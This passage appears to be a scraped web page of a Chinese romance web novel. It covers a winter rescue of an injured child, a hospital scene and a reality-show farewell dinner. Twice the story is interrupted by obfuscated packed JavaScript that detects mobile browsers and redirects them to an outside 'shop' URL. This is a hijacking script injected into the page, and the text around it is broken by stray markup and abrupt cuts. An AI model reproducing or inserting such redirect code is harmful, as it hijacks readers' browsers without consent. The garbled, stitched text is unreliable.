凤溪磕得很严重,她的右手拖着小孩子的后脑勺,能够很明显地感觉到一道长长的口子,里面还在源源不断地流血。 这样大的伤口,她压根不敢用自己的方法去止血或者怎样,就怕万一有感染的风险。 血液流出来是温热的,不一会儿就顺着她的手往下滴。 她的整个手臂已经完全没有了知觉,但是大脑还在飞快地运转,这样高强度的刺激下,她都没有发现自己的脸已经完全没有了血色,膝盖也在发颤。 “程三好。” “程三好。” “嗯?”她这时才反应过来,抬眼看向前面的人。 江砚双手搓热,正捂着她的脸。 没有打理的碎发下,深邃的眼眸里瞧不清情绪:“你在发抖,知道吗?” 程三好错开视线:“嗯。” 江砚叹了口气,伸手准备将凤溪抱过来:“孩子先给我,你缓一缓。” “没事。”女生觉得自己可以。 “给我。”男人语气微微加重。 程三好有些犹豫,踌躇着开口:“……都是血。” “没关系。”江砚将这个七八岁的小女孩接过来抱在怀里。 抱稳了人,他抬眼看向那个老人,问:“您拨打急救电话了吗?” “……对对。” “麻烦您用那个通话记录再打一次。” 韩老伯不知其意,但是照做了。 江砚就隔着不近不远的距离与对方通话。 “你好,请问你们现在到哪儿了?” “真的非常抱歉,本来我们已经到了刘家湾,但是前面的路有一点坡度,车子开不上去还摔进了旁边的水沟。我知道你们很着急,我们已经联系了当地的消防员以及龙湾区的武警前来协助。” “大约还有多长时间能到?”男人的嗓音很冷。 那边的医生停顿了一下:“顺利的话,可能需要半个小时。” 此话一出,无论是电话那头还是这头,大家的表情都很难看。 “你们离我们这儿还有多长的路程?”程三好倏地开口询问。 “大概1公里。”那头的医生回道。 “你们先尽量把车子弄出来,我们会带着受伤的小孩子与你们汇合。” “好的。”电话挂断。 肖乐保挠着脑袋,迫不及待扭头看向程三好,问:“大哥,你有办法了?” 江砚显然和女生想到了一处,淡声道:“就是字面意思,走着去。” “但是路面很滑,人根本走不了,更何况还要带着小孩子,呵护着她不再受二次伤害。”肖乐保不相信。 男人这一次没有回答,只是目光落到了身旁的女生上。 “公路不能走,是因为它是用水泥和沙的泥浆凝固而成的,很光滑,不说是冰,就是下雨天,人也容易摔跤,但是……”程三好眼神渐渐坚定,“路是人走出来的,这一条不行,我们可以自己走出一条路来。” 江砚笑了。 肖乐保还是没有反应过来:“什么意思啊?” “啪——”韩小希拍了一下手,神色渐渐激动起来,“我明白了,可以走土路和山路。” 她说到这儿的时候,眼睛都亮了起来,解释:“虽然今天冰冻得很厚,但是田里不一样,土地在这个时候不会骗人。你走在上面凹凸不平,但勉勉强强可以走,总之比在光滑的公路上走好很多。” “穿过田地可能还要走山路,山林地面全是落叶,脚踩在上面是会很滑,但是密密麻麻的树木树干可以给到你支撑。” “不容易啊。”肖乐保摇头。 “对,是不容易。”韩小希也清楚,“但是这是目前唯一的办法了,我们不能再耽搁下去了,要不然凤溪会有生命危险。” 程三好不再废话:“你们谁愿意和我一起去?” 除了许琪和韩老伯以及好像置身事外的江砚没有举手,其他三人都高高地举起了手。 然而还没等三人来一场互相竞争,默不作声的男人就突然道:“我的秘书会实时将定位传输给我们,以免在山里迷路或者偏航,所以我和她去最为合适。” 他都这么开口了,三人忽然就默契地放下了手。 时间很紧张,程三好不会纠结这些无用的东西,她让江砚先待在这里,自己则去了外面的仓库里,拿来了几根手指粗的麻绳,先给自己鞋子一圈圈地缠上,又要蹲下身给江砚的鞋也缠上。 江砚眼皮一跳,退后了一步,说:“我就不用了……” 程三好没理他,强行抓着他的脚踝,给他的鞋子也缠了几道。 完了,她站起身,看着江砚:“走吧。” “好。” 大坝上很光滑,但是好在韩小希早上倒火炉中的灰烬时,将那满满当当的一大框石灰撒在了门前,一直延伸至院落门口。 程三好他们得以踩着一条羊肠小道离开了小屋,她手中握着一根棍子,棍子的最下面是用橡胶皮手套给包扎起来的,这样她走在前面可以多加一点摩擦力。 肖乐保他们跟在身后,直至人要走远,他有些焦急地喊了一声:“大哥。” 程三好回头。 “……不要勉强,有事一定要打电话。” “好。”程三好绷着嘴点头,然后毅然转身走了。 江砚跟在她的身后,背着凤溪。 再勇猛的男人此时此刻走在冰面上也得小心翼翼,全身绷紧。 好在小屋门口就是一个小山坡,程三好先屁股着地滑了下去,才扭头看着上方的人。 “就从这儿下吧。”她体贴地补充,“放心,没人会看到你是用屁股滑溜下来的。” 女生说到后面,嘴角已经扬了起来。但是下一秒就看见江砚以非常标准的滑雪姿势滑了下来。 小坡本身坡度就不高,但是上面的野草都结了一层厚厚的冰,没有超强的核心力量的话,人根本就站不稳,别说他还以直线的方式滑进了田里。 等他到了跟前,程三好走在前面,用棍子的另外一头故意削尖的顶端戳着地面。 “练过啊。”她挑着嘴角。 “初中的时候,父母给我报了一个私人滑雪课,每周末我都会去找老师进行练习。”江砚淡声说道。 虽然田里的确比公路上好走一些,但是也仅仅只有一点。 天气太冷了,冰完全没有要化的迹象,翻过的土地变得硬邦邦,人走在上面还是非常艰难。 程三好尽量挑土地的边缘走,这样就算摔的时候,田埂上的野草可以作为一个缓冲,不至于让人平地摔去。 走过一片田野接着一片田野,终于要到走山路的阶段了。 程三好先抓住地上的草皮,整个人跳跃了一下,肚子刚好担在了田梗的边缘。 然而地面太滑了,她控制不住地往下滑,这个时候右脚突然感觉到了支撑,她便接踩着江砚的手一下爬了上去。 森林与田地之间的田埂是农民故意挖出来的,目的就是为了隔绝山林里面的杂草种子跑到土地里。 它不是很高,就到江砚的腰部位置。 他一只手拉着女生递过来的手,另一只手紧紧地扶住背上的孩子。 脚踩到上方山林地皮时,也许是因为结冰的缘故,他猝不及防踉跄了一下往下滑。 程三好慌忙之中,只能下意识地拉着他的胸前衣服,飞快地往上拉,谁料脚下打滑,力道根本来不及来不及控制,她拉着人一下摔到了地面。 眼看着就要撞着人,江砚急忙伸出左手撑到女生脑袋侧旁。 他呼吸有些重,极力控制着,神色担忧地看着身下的人:“没事吧,摔着哪儿了?” 程三好五官都皱到了一起,缓过那股劲儿后,尽量把话说平稳:“没事,就是闪了一下腰。” 江砚飞快地皱了一下眉,直起身体,伸手将人拉了起来。 “还能走吗?”他的脸是冷的,语气却是暖的。 程三好没注意他的表情,犹自伸手掐了掐自己的腰,才抬起头看他,比了一个ok的手势:“完全没有问题。” 说着她指了指江砚背上的孩子,说:“下面这段路程我来背吧。” “瞧不起我呢?” 两人说话的同时脚下的步伐没停,程三好抓住一根树木扭过头:“不是,只是为了公平起见,一直让你背,你也会很累的,所以换着来。” “好好看路,”江砚叮嘱,他对于换人背孩子的这个话题避重熟轻,“我还不累,累了的话我会叫你。” 他说完话,前面走着的背影好长时间都没有说话。 半晌以后才传来一道闷闷的声音:“你不必因为我是女孩子而照顾我。” 江砚目光一顿,说:“我的确没有因为你是女孩子而照顾你。” “嗯,那就好。”女生依旧没有回头。 山路的确要比田地里好走很多,因为你每走一步,手上都是有支撑的,不过手很遭罪。 因为出门急,完全忘了戴手套,所以这会儿你每抓一次树木,每握紧一次,手都要持续个一两秒的时间与冰块贴在一起。 江砚不好行走,因为他只有一只手是腾出来抓支撑的。 程三好停了下来,等到他到自己的身后,才把自己卫衣帽子里的一根绳子抽出来系到了自己的腰上,留一半绕成了一个圈,让江砚抓住。 进了山林以后,江砚就将背上的凤溪放下,抱到了自己的怀里,他单手可以轻轻松松地抱住小孩子。 看着女生的动作,男人的尊严让他拒绝:“不用。” 程三好解释:“前面是一个坡,你抓住以后,等我上去再拉你上来,这里植被很少,你脚下能踩的树墩很少。” 江砚这环视四周,发 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她身体完全不敢动,甚至连呼吸都放得很慢,抬眼向上看。 “江砚。” 男人整个身体都在发力,脖子上的青筋突出,咬紧牙关道:“抓紧我!” 他因为要顾及到手肘弯里的小孩子,整个人站姿就很糟糕,匆忙之中右手也没有抓到合适的树干,而那薄弱的树梢根本支撑不了太久。 程三好不忍心看到他这样,故作轻松道:“你先放开,我离地面不远的,死不了。” 江砚没有说话,额头都是汗,后颈发红。 他的脚下踩着松树的叶子,不断地变形。 程三好闭了闭眼:“待会儿你带着她往前走,我会回来找你的。” “……闭嘴。”江砚双手一直在发抖,但是力气丝毫不敢松懈一点。 他的表情非常不悦,甚至有一点凶狠的意思:“程三好,我告诉你,你要是敢放开——” “你就是不摔死,回头我也会把你弄死!” 程三好在腰上绳子的手一顿,反反复复地吞咽口水,但口腔里干涩成一片。 “江砚,不可能的……” 她心里也紧张,也害怕,但想着总比三个人都摔下来的好。 “可能的,可能的,别放开,你信我。”江砚急了。 就在这时,卫衣绳子栓成的一个圈突然松动,程三好心脏悬空一秒,整个人就坠了下去。 “啪——” 她的手腕被人握住了。 身体在空中晃荡,那种与死亡擦肩而过的感觉一度让她忘记了呼吸。 紧接着她听到男人发出一声闷哼,整个人几乎是被男人单臂无任何外力的情况下,硬生生给提了上去。 接触到地面的感觉,让程三好有一瞬间差点情绪失控。 她扭头,看到江砚背靠着树干粗踹气,怀里的凤溪也好好的,一颗心算是彻底放下来。 然而这一口气还没有完全出去,不远处的男人突然与她对视上,然后将凤溪放到他的位置,自己则起身迈着长腿,面色发冷地一下靠了过来。 他很生气,单膝落地时,手覆盖在程三好撑着地面的手上。 “如果今天掉下去的是我,你会怎么办?如果当时那样的情况我对你说‘放开’二字,你作何感受?” 也许是用力过度的原因,江砚的眼睛有点发红。 他见女生不说话,突然冷笑了一下:“还是说,在你心中,我是那种可以抛弃你的人是吗?” 程三好没料到问题那么严重,难得有些结巴:“我……没有这样想。” 江砚一动不动地看着她,胸膛还在剧烈地起伏,整个人很有压迫感。 屁股下的冰化成水打湿了裤子,整个山林很寂静,很空旷,一层薄薄的白雾笼罩在上方,看不清远方的光景。 这样的对峙不知持续了三秒还是四秒亦或者更短,程三好垂下目光,终于开口:“对不起,下次我不这样了……” “不怎样?”男人的目光微动,开始打量女生的脸。 他肯开口,说明这件事情他愿意让步。 程三好手指扣着地面的树叶,难得乖巧了一次:“不惹你生气了。” 谁料她刚说完,下巴就被人捏住,被迫抬起。 “程三好。” “……嗯。” “不是生气,”江砚的大拇指摩挲了一下女生的皮肤,桃花眼里敛着冷光,“我是寒心你懂吗?” 说着他也不听女生回答,飞快地抽身离开,去抱起了凤溪。 “走吧,我看江邱发来的定位,我们离救护车不远了,应该就是一百米的距离。” 程三好原地眨了一下眼睛,接着迅速站起来跟了上去。 68. 那你笑一笑 “一二,推!” “一二,推!” 他们走了没几步,就听到了此起彼伏的声音。 程三好向左下方看,看见了泛着白光的公路旁边,消防员和武警正在合作,试图将翻到沟里面的救护车给拉上来。 二人悬着的心终于放下了一些,急忙出了山林,去到了公路上。 医生扭头发现了他们,招呼人将推车拉下来,让他们将凤溪放到担架上。 他举着一把小小的手电筒,翻了翻孩子的瞳孔,又看了看她的伤口,摘下银色的听诊器,对着旁边的二人说:“她现在只是短暂的地昏迷了过去,伤口位置的血也止住了,至于有没有颅内感染,还要去医院进行下一步的检查。” 话音刚落,翻倒的救护车就被拉了上来。于是医生向其他医护人员说道:“将患者抬上车!” 说着又问程三好他们:“你们一同去吗?” 女生点头。 “那一起上来吧。” 车子的四个大轮子都捆上了又粗又硬的铁链条,行驶在结冰的路面上虽然很慢,但是很稳。 凤溪这一会儿伤口已经被医生简单地包扎好了,正打着点滴。 程三好和江砚坐在靠车厢位置的长椅上,二人从刚才开始,就一直没有对视交流。 整个车厢都很安静。 她刚经历了一场生死边缘徘徊的经历,这会儿肾上腺素正在下降,克制不住浓厚席卷而来的困意,眼皮强行挣扎了几次,最后还是睡了过去。 睡梦中,她久违地做了一个梦。 梦的内容是关于她和江砚七年前发生过的一件小事。 梦是光怪陆离的,从现实中提取一点元素进行放大扭曲。 她只依稀记得,那天好像是生病了,当时的情绪很不好,再加上生病的痛苦,班主任的忽视,所有的不开心都憋在了心里。 当她想要回宿舍,拿一张通行证时,宿管阿姨压根不听她的解释,只是冷漠地回道:“现在已经过了时间,你不能再进去了。” 她当时一下就绷不住了,也不知道为什么而哭,可能是因为委屈吧。 然后就在这样极其难堪的时刻,透过巨大的玻璃门,江砚与她对视上。 男生穿着校服,行过走廊,本是随意的一瞥,看见她时,脚步就停了下来。 接下来他对着宿管阿姨说了几句什么,然后她就被允许可以进去。 她背着书包,垂下目光往里走,男生已经离开,留下一个清隽恣意的背影。 “程三好。” “程三好……” 手臂正在被人摇晃,皱着眉头的女生缓缓睁开双眼,回到现实。 救护车的车厢此时前面空荡荡,只剩下了她和江砚二人。 程三好的眉眼耷拉着,情绪看上去很低落,显然还没有从梦境中彻底转换过来。 她没说话,也没有看江砚一眼,径直起身准备下车。 男人心一空,迅速伸手拉住人。 “……是在为刚才我对你说的话生气吗?” 程三好摇头,整个人一下子突然变得非常冷漠。 她挣脱开江砚的手,头也不回地往前走了几步跳下车。 留在原地的男人身体还保持着原先向着女生的姿态,他的视线落在地面,下颌绷成一条利落清晰的线。 不知过了多久,像是被自己气笑又像是妥协一般,江砚眸光压低,扭了一下脖子。 急诊室外,灰色的灯倏地变亮,成了鲜艳的红色。 看着“手术中”三个字,程三好视线放空了几秒,才走到一旁的休息椅子上,瘫软着坐下。 刚才做梦只是一个开始,有些东西一旦开了口,过往零碎的记忆就有点来势汹汹刹不住车的状态。 此时她的脑子里,开始不断地回想起高中那年和江砚发生的一些事情。 想得越多,回忆越清晰,她就越害怕。 对于接下来和江砚的关系如何变化,她产生了胆怯。 她不敢再靠近了。 这样想着,下一秒凳子一侧向下压,是江砚坐在了她的身边。紧接着她的手里就被塞了一颗棒棒糖。 “……抱歉,我刚才不应该对你那样说话。” 他没有松开女生的手,就保持着大手包小手的姿势紧了紧。 “我知道你是不想拖累我,不想让我跟着你摔下去,才那么说的。怪我神经敏感,不该冲你发火的……” 见她没有表态,江砚握着程三好的手摇了摇,语气放软:“别生气了,程老师。” 他不称呼她的名字,而是像圈里人之间互相的尊称一样,称呼别人为老师。 明明是一个很客套的称呼,在他嘴里说出来,就有了别样的味道。 程三好好不容易建立的坚守彻底土崩瓦解,所有的理智在本能的心动面前毫无招架之力。 她忽然挠了一下眼皮,声音很低:“……我没生气。” 江砚歪头去看女生的脸,哄人:“那程老师笑笑。” 程三好别扭地皱了一下眉头,眼神瞥向一边:“……不要。” 男人眼底有了笑意,勾唇说道:“真会撒娇。” 程三好没理会他这句话。 江砚全程将她的表情看在眼里,没再说什么,只是拿走女生手中的棒棒糖。 在剥糖纸的过程中,他看似不急不慢,全神贯注,但仔细看的话,他整个人姿态是十分松弛的,显然心情不错。 程三好原先将头扭向一边,突然鼻尖闻到了一股清甜的橙子味,紧接着嘴唇就碰到了什么。 “张嘴。” 程三好向后退了退身体,想要伸手:“我自己来就好。” 但是棒棒糖的糖柄就那么长,完全被男人捏住,她如果要去拿就不得不握住男人的手。 思想挣扎了一会儿,她最终还是放弃了抵抗,微微向前低下头,将糖含进了嘴里。 江砚收回手,脑子却还停留在了刚才的那个画面。 女生的嘴唇生得很漂亮,可能是因为天气比较冷的缘故,她的唇有点干,颜色有点淡,所以当她张嘴含住那颗棒棒糖时,里面灵活红润的舌头就与之形成了鲜明的对比。 又热又湿…… 余光里,女生的脸颊微鼓,时不时传来一声声细小的糖啧音,原先淡色的嘴唇在糖果的晕染下,立马变得清亮红润。 江砚捻手指的动作稍顿,喉结上下一滚,离开目光看向了别处。 这时手术室的门打开,凤溪躺在床上被推了出来,转到了普通病房。 这是一间三人房,另外两个病床上并没有人。 医院走廊间很安静,人流也不多。 程三好留下来照看孩子,而江砚出医院去买晚饭。 冬天黑得早,很多店家关了门。 他走出去很远,才勉强买到两盒热乎乎的盒饭,回到病房的时候,他还未靠近,就听见了女生与小女孩的对话。 “姐姐,我疼……” “我知道,姐姐我知道,咱们凤溪真的很勇敢呢。” “脑袋疼……” “那是因为我们的身体细胞正在和那些细菌病毒做抗争,与此同时也正在手拉着手,心连着心地促进你的皮肤愈合,你能感觉到疼,说明你正在恢复,细胞们正在努力呢。” “……他们正在打架?” “嗯嗯,你也可以那么想,只要你坚持住,细胞们就会胜利。”女生话里有笑意。 “那我可以的。” “真棒,睡吧,醒来后想吃什么,姐姐都给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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还有一道菜就是凉拌猪耳朵,她很喜欢,尽量将香菜挑到了饭盒的盖子上,只吃猪耳朵。 这时对面的人突然问她:“你不吃香菜?” 程三好眼皮垂着,看不清眼睛里的情绪,只是握着筷子的手无声地紧了紧。 “……我一直都不吃的。” “好,我记住了。”男人这样说着,伸筷子过来将她那盘凉拌猪耳朵里的香菜全给挑到了自己的饭盒里,就着自己的米饭给吃了。 程三好欲言又止,想要问点什么,兜里的手机忽然响了起来。 她急忙将饭放在桌子上,握住手机去到外面走廊。 “喂……” “三好,我是凤婶。” “我知道,你说。” “凤溪怎么样了?还好吗?” “别担心,婶儿,她现在伤口已经被缝好了,医生说只要住两天就可以出院了。”她扣着窗子玻璃里面的冰花,目光落在不远处的停车场。 手机里传来妇人带着歉意的话语:“我听韩老伯说了,是你和你的男朋友背着我的孩子去的……天气那么冷,路面结冰那么厚,我真的……不知道要怎么感谢你们才好。” 程三好触摸玻璃的手指一顿,绷了绷嘴唇,最终还是解释道:“……他还不是我男朋友。” “啊?不是吗?我听你的那些个朋友也这么说,不好意思,不好意思。” “没事,”她岔开话题,“总之凤溪你现在不要担心,只要孩子没有什么大碍,那一切都是幸事。” “对对对,所以我真的特别感谢你们……” “都是我们应该做的,当初我们来这个村子里录制节目的时候,要不是你的慷慨相助,我们指不定要饿着肚子干活呢。” “哎哟,我压根没帮着你们什么,这么着吧,等你们回来的时候,我好好做一顿饭招待你们。” “好的,等凤溪醒来以后,我再打电话给你。” “哎,好的……” 电话嘟地一声挂了,程三好转身,看到抱手倚靠在病房门边的江砚。 他目光深邃,嘴角平缓,也不知道有没有听到刚才她与凤婶儿的对话。 69. 相似之人 凤溪成功出院后,一连着好几天,江砚都没有出现,而程三好他们也在为最后的收官之战而忙碌着。 程韵清来的时候,小屋里里外外被收拾得很干净,就是半天没见着个人影。 张导跟她解释:“前几天他们帮助了一个摔倒的小女孩,人家父母今天做好了饭菜特地请他们过去吃。” 程韵清显然有一点心不在焉,她将手揣进长款羽绒服,声音清清亮亮的,很好听:“我看到热搜了,她……还有江……总很厉害。” 张导就像是听到别人夸自家孩子一样,嘴角压都压不住,连声夸赞:“三好那孩子是真的很不错,我很少见到像她这般不娇气的女孩子,还特别有责任心。” 程韵清的长发散着,戴着口罩,礼貌地弯了弯眼角,却没有说什么。 张导也不自讨没趣,收起了那一副老父亲的姿态,对着女人说道:“你就在客厅里待着或者在这里等着也行,待会儿孩子们回来可以带你参观参观小屋周围他们的产业之类的。” “好的。”程韵清点头。 她没有进去小屋,而是目光逡巡,慢慢走到了导演组搭建的棚边。 等了一会儿,终于看到了熟悉的宾利车。 她假装不在意的地看向别处,直到余光里看见江砚下了车,径直朝棚下走来,才克制着紧张的情绪,抬头看过去。 “江砚……”她的声音不大不小,却刚好在场的所有人都能听到。 男人原先看都没看正前方的女人一眼,正要和张导商讨工作事宜,听着这一声,他抬腿的动作停住,随意地扭头瞥了一眼。 看清女人脸的一瞬间,江砚轻皱了一下眉,然后才向女人走去。 “阳荷炒肉……我真的要喜欢死了,我从来没有吃过这么一道独具风味的菜肴!” “听凤婶说这种东西在他们的房前屋后长了很多,但是基本上每年吃都吃不过来,最终浪费掉的还是很多,所以我在想,我们要是离开了节目以后或者有机会参与录制第二季的话,我们帮他们推广推广。” “可以是可以,但是这玩意儿就像鱼腥草一样,喜欢的人呢爱不释手,不喜欢的人呢,可能碰都不会碰一下。” “也是,但总要试试才能知道。我就是觉得很好吃,想把它分享给全世界的人们。” 五人已经从凤婶儿家出来,走在乡间的小道上,肖乐保和韩小希两人在交流着一道菜。 肖乐保天真,自己觉得阳荷这一道菜很好吃,他就想将它分享给别人,而且还想借此帮助当地人增加经济收入。 韩小希很现实,她认为现在节目都已经收官了,没有了《种地吧》这个噱头,谁愿意进他们的直播间买东西。 不知不觉已经到了小屋的院落门前,他们见程三好突然停住脚步。 “怎么了,大哥?” 肖乐保原先是倒着走路的,这会儿见女生愣住,才转过身顺着她的视线往前看。 不远处,侧身对着他们的江砚和一个光看背影就觉得很漂亮的女人站在一起。 他们之间不知道在交流什么,只觉得江砚的眼神非常深情,就像在看爱人一样。 他似乎也察觉到了什么,抬头向肖乐保他们这边投来视线。 程三好脸上看不清情绪,在对方看过来时就垂目看向地面,紧接着一言不发地走进了小屋。 留在原地的四人面面相觑,最终也没有说。 他们找到人时,程三好在厨房烧水。 韩小希欲言又止,拍了拍女生的肩膀:“也许是误会……三好你不要往心里去。” “什么?”程三好表情很淡,按下烧水壶的启动键。 念及还有摄像头,韩小希不敢说得太直白,只是道:“晚上我们和节目组聚餐,到时候有的是机会。” 程三好牵强地扯了扯嘴角:“别担心,我心里有数。” 余光里,四人都没有离开,跟手办一样紧紧贴着她,每个人的脸上或多或少都带着担忧的神色。 程三好这一次的笑真实了一些,听着水声沸腾,她无奈的地叹了口气,看向四人:“我真没事。” 她这样说着,外面突然响起张导的大嗓音。 “人呢?都去哪儿了?飞行嘉宾到了,出来迎接一下。” 五人人默契地去到了外面,看到那个女人的瞬间,肖乐保心里闪过一丝异样,总觉得这人有点眼熟,但是又说不上来。 “她叫程韵清,手握多部爆剧,我想我不说,你们也应该看过她的电视剧。”张导介绍人。 韩小希此时认出了口罩之下的女人,她神情激动,急忙伸出手:“程……程老师好,我叫韩小希,是你的粉丝,我真的很喜欢你演的电视剧。” 肖乐保微微瞪大了双眼,看着女人与韩小希握手,嗓音柔柔和和的:“啊,是吗?谢谢你。” 不止韩小希,就连圈外人许琪都低叹道:“原来是程韵清……” 肖乐保更震惊了,渡着碎步靠近了许公主俏声问他她:“怎么了?我看你们一个二个吃惊的样子,她是什么很火的明星吗?” 许琪仰头想了想,给出结论:“她不只是火,准确的来说是爆火,当红顶流那种程度知道吗?” 肖乐保平时不是玩游戏就是玩音乐,还真不是很了解,他哦了一声,专注点却跑偏:“没想到咱们节目组还挺有人脉,连这种大神也能请来,我靠。” “好啦,接下来你们就带着韵清到处转一转吧,这段时间你们辛苦了,晚上聚餐的时候,韵清说由她买单,到时候你们想怎么薅都可以。”张导没察觉到大家的异样,自顾自的说着话。 韩小希整个人处在一种得以见着偶像的兴奋状态,又掺杂着为朋友不平的纠结,她见气氛很僵硬,主动站出来打破尴尬。 “那接下来我们先去旁边的菜园看一看吧。” “好。”程韵清点头。 韩小希边走边说:“里面的菜都是我们小组人员三好和赵柯亲手种下的。” 程韵清停在菜园子外面,看着里面长得绿油油的蔬菜,由衷夸赞:“种的很好啊。” “对吧,”韩小希自豪,“就是纯粹的农家肥种出来的,天然有机,没一点农药。” 他们二人走在前面,肖乐保隔着不远不近的距离,看了程韵清几眼又扭头看向自家大哥,反反复复几次后,程三好不耐烦:“你看什么?” “没……”肖乐保刚要怂,电光火石间,脑子突然就明了了,“我知道了,我知道了。” “你知道什么了?”程三好瞧着他夸张的样子,有点好笑。 “你们的眉眼长得很像!”肖乐保的声音很激动,一嗓子喊出话来,所有人都停下脚步看向他。 “姐,”他拉过韩小希,手指了指程韵清和程三好,“你看,仔细看,如果蒙住大哥的下半张脸,她们是不是长得很像?” 韩小希认真看了看,还未说话,一旁的许公主就有点惊讶地开口:“还真的有点诶。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13219900|130752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“哪是有点?简直如出一辙。”肖乐保还在为自己的发现而高兴。 韩小希见两个当事人有些尴尬,有些丢脸地转身捂住肖乐保叭叭不停的嘴,小声对他说道:“快别说了,你没看到嘉宾很不自在吗?” 肖乐保鼻子也被捂住了,呼吸困难,他只能赶紧点头,表示自己懂了。 接下来陪飞行嘉宾体验了割包菜、喂小猪,捡冻过的土豆等等各种活动,时间已经来到了下午四点。 程韵清主动开口提出:“我先去城里给你们把菜点好,包厢提前预约好,到时候你们过来好好地玩一场,也该彼此好好告别,开启人生的下一个阶段了。” 半天接触下来,剖去其他方面,大家是真的觉得程韵清这个人还不错,很好相处,接地气。 听她这么慷慨地安排,肖乐保带头起哄,弥漫着怪异的氛围才在此刻破解。 程韵清对着他们笑笑,又将目光投向一整天下来都没有说话的程三好,对着女生轻轻地一点头,才带着助理转身离开。 车子行驶上公路,肖乐保扭头看了一眼自家大哥,对方冲他轻轻地摇了摇头。 大家都明白,现在他们还处在镜头之下,很多私人的问题还是不要摆在明面上来说,更何况程韵清是一个自带流量的女顶流,要是哪一句话没有说对,可能分分钟就会被贴上蹭流量的标签。 程三好很稳重,没有把个人情绪放到节目中来。 她回到寝室开始收衣服,其他人也陆陆续续地收拾行李。 直到这个时候,韩小希才有了实感,她蹲在行李箱前,看着房间渐渐变空,不由得说道:“这下是真的要离开了,简直跟做梦一样。” 许琪收纳讲究简单粗暴,什么东西都是团成一团丢进了很大的行李箱里,她背对着韩小希,将桌上的防晒套装全都装进一个袋子。 “我也很舍不得,但是想一想,我们有一个群,就算离开了小屋,以后也会常见的。” “对,会常见的。”韩小希将拉链拉上,把行李箱提起来。 她看着上铺正在收拾床单的程三好,问:“需要我帮忙吗?三好。” 女生摇头:“不用,我马上就好。” 女宿舍内的三人都收拾好去到外面的时候,肖乐保和赵柯已经并肩站在大坝上。 他们衣服干干净净的,就连鞋子也不再是带泥的靴子,肖乐保甚至做了个发型,墨镜搭在头发上,显得整个人又酷又潮。 菜地里的很多蔬菜都被他们采摘下来送给村民们了,而那一头母猪和几只小猪仔也重新回到了韩老伯家,由他继续饲养着。 几人小包大包地拎着站在小屋的门口,看到了熟悉的大巴车在他们跟前停了下来。 直到五人都坐上了车,自动感应车门咣当一关,大巴掉头的一瞬间,一直很安静的车内突然传来一身啜泣,紧接着又是好几道抽噎的哭泣声。 韩小希擦着眼泪,透过车玻璃往外看,小屋正在变小,渐渐地消失,永远留在了秋水村…… “……也不知道还有没有第二季,总之回去后,大家要经常在群里冒泡啊。”车子外的风景飞快褪去,韩小希笑得比哭还难看。 她重感情,也很珍惜这段经历,更不舍这几个朋友,但世间无常,有些事情是说不准的。 许琪眼睛红肿一片:“冒泡……嗯……” 肖乐保一直扭头看向窗外,紧紧咬着牙关,听着许琪的这一声哽咽,终于还是没绷住,抬手擦了一下眼睛。 70. 你玩我? 晚上聚会的时候,因为没有了摄像头,大家交谈便就大胆了一些。 程三好来得晚,进包厢时,江砚的身边已经坐满了人。 她淡淡瞥了一眼他左边的程韵清,也没说什么,径直找到一个空位坐下。 圆桌上陆陆续续地上来了很多名贵美味的菜肴,肖乐保就像没见过世面一样,发出一声声惊叹:“进城里的感觉是真的好啊!” 张导已经喝了一点小酒,说话依旧很大声:“咱们飞行大气,点的都是最贵的名菜,大家尽情吃尽情喝,吃饱喝足后前往下一个地点去k歌或者打台球!都敞开了玩!” 副导演提着一瓶白酒撩到桌子上,给自己倒了一小杯:“是啊,录制节目这段时间是真tm的辛苦,如今可算是告一段落了,今晚不醉不休!” 他仰头将瓷白高脚小杯里的酒一饮而尽,完了,倒立过来,语气豪迈:“一滴不剩。” 经他这一开场,席间顿时热闹非凡,来参加这一场聚会的,除了种田吧常驻嘉宾,其他的就是导演制片以及一些资方老板。 而程韵清的出现,纯属是因为她是节目收官的飞行嘉宾,又主动提出要买单的想法,张导就顺势而为邀请对方一起来参加这个聚会。 期间大家有说有笑,闷声喝着啤酒的程三好突然听到上方的张导说:“这样吃未免太过无趣,刚好我手中有一副扑克牌,不如我们来玩一个游戏?” 肖乐保整个人已经完全被当下的气氛搞得活络起来,他配合着张导问:“哦?什么游戏啊?” 张导席间就没吃几口饭,全喝酒了,他摇了摇手中的扑克牌,哈哈大笑了一声才说:“每人可以从我这副牌中得到三张牌,都不可以提前看,按照顺序一一揭开,如果抽到小王这张拍的人,要说一句真心话,抽到大王的要冒个险,最终一局结束,两个拿着王牌的人要给大家表演一个节目怎么样?” 众人嫌弃:“你这游戏太土了。” “过时啦。” 张导也不介意,就问:“总之大家玩不玩嘛?玩的话我就让人发牌。” 夜还很长,都市男女们真正的生活才刚刚开始。 谁也不想回到孤寂的单身公寓,所以最终还是玩起了这个游戏。 程三好嘴唇碰着玻璃杯,却迟迟没有喝,只是视线放空,盯着前面的一个勺子发呆,上面倒映着江砚模糊的脸。 她坐在角落,安安静静地,余光里看见江砚和程韵清在交流。 两人男才女貌,般配至极。 外面传言总说江砚这人冷酷无情,生人勿近,可现在对方正在与美人交谈甚欢。 “三好,别喝了……”韩小希见女生再度倒了一杯啤酒,有些担心地拦了拦。 程三好不说话,躲开身体。 “哦!小王已经出来了,那杨总就给大家伙儿说个真心话。”张导性格直爽,看到翻牌人举手亮出的牌面,想也不想就冲资方老板说道。 “你真是不客气啊,老张。” “怎么?玩不起啊,杨总,小辈们都看着呢。” 被称呼杨总的是一个中年大叔,他也不恼怒:“好吧,那我就向大家透一个底。” 席间安静,都在认真听。 “其实今年我四十有二了。” “……” “不是,这算什么真心话啊。”肖乐保拍着桌子,十分不服,“大家说是不是啊。” “对对。”众人应和。 杨总脸不红心不跳地解释:“我不说我四十二,别人都以为我三十八……” 他说话的同时还比了个手势,十分有喜剧效果。 其间众人大乐,气氛欢快地似乎要将这包厢顶都给掀了出去。 